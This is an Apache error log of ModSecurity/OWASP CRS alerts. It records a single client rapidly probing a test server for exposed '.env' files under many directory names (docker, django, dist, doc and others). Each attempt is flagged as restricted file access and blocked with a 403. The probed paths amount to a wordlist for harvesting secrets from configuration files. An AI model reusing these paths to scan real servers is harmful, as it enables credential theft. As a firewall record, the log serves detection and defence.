[Thu Feb 26 01:03:01.563493 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiywgAAAAA&quot;]
[Thu Feb 26 01:03:01.563633 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiywgAAAAA&quot;]
[Thu Feb 26 01:03:01.593676 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-elk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlwAAAAE&quot;]
[Thu Feb 26 01:03:01.593915 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlwAAAAE&quot;]
[Thu Feb 26 01:03:01.594075 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlwAAAAE&quot;]
[Thu Feb 26 01:03:01.603871 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiywwAAAAA&quot;]
[Thu Feb 26 01:03:01.604111 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiywwAAAAA&quot;]
[Thu Feb 26 01:03:01.604301 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiywwAAAAA&quot;]
[Thu Feb 26 01:03:01.618216 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-network-healthcheck/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmAAAAAE&quot;]
[Thu Feb 26 01:03:01.618447 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmAAAAAE&quot;]
[Thu Feb 26 01:03:01.618593 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmAAAAAE&quot;]
[Thu Feb 26 01:03:01.655349 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-node-mongo-redis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmQAAAAE&quot;]
[Thu Feb 26 01:03:01.655575 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmQAAAAE&quot;]
[Thu Feb 26 01:03:01.655731 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmQAAAAE&quot;]
[Thu Feb 26 01:03:01.657411 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django-blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxQAAAAA&quot;]
[Thu Feb 26 01:03:01.657616 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxQAAAAA&quot;]
[Thu Feb 26 01:03:01.657778 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxQAAAAA&quot;]
[Thu Feb 26 01:03:01.692780 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withmongo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmgAAAAE&quot;]
[Thu Feb 26 01:03:01.693026 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmgAAAAE&quot;]
[Thu Feb 26 01:03:01.693290 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmgAAAAE&quot;]
[Thu Feb 26 01:03:01.695480 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxgAAAAA&quot;]
[Thu Feb 26 01:03:01.695696 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxgAAAAA&quot;]
[Thu Feb 26 01:03:01.695837 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxgAAAAA&quot;]
[Thu Feb 26 01:03:01.728545 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withpostgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmwAAAAE&quot;]
[Thu Feb 26 01:03:01.728776 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmwAAAAE&quot;]
[Thu Feb 26 01:03:01.728929 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhmwAAAAE&quot;]
[Thu Feb 26 01:03:01.735984 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django_project_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxwAAAAA&quot;]
[Thu Feb 26 01:03:01.736211 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxwAAAAA&quot;]
[Thu Feb 26 01:03:01.736362 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyxwAAAAA&quot;]
[Thu Feb 26 01:03:01.778744 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyyAAAAAA&quot;]
[Thu Feb 26 01:03:01.778976 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyyAAAAAA&quot;]
[Thu Feb 26 01:03:01.779141 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyyAAAAAA&quot;]
[Thu Feb 26 01:03:01.780286 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnAAAAAE&quot;]
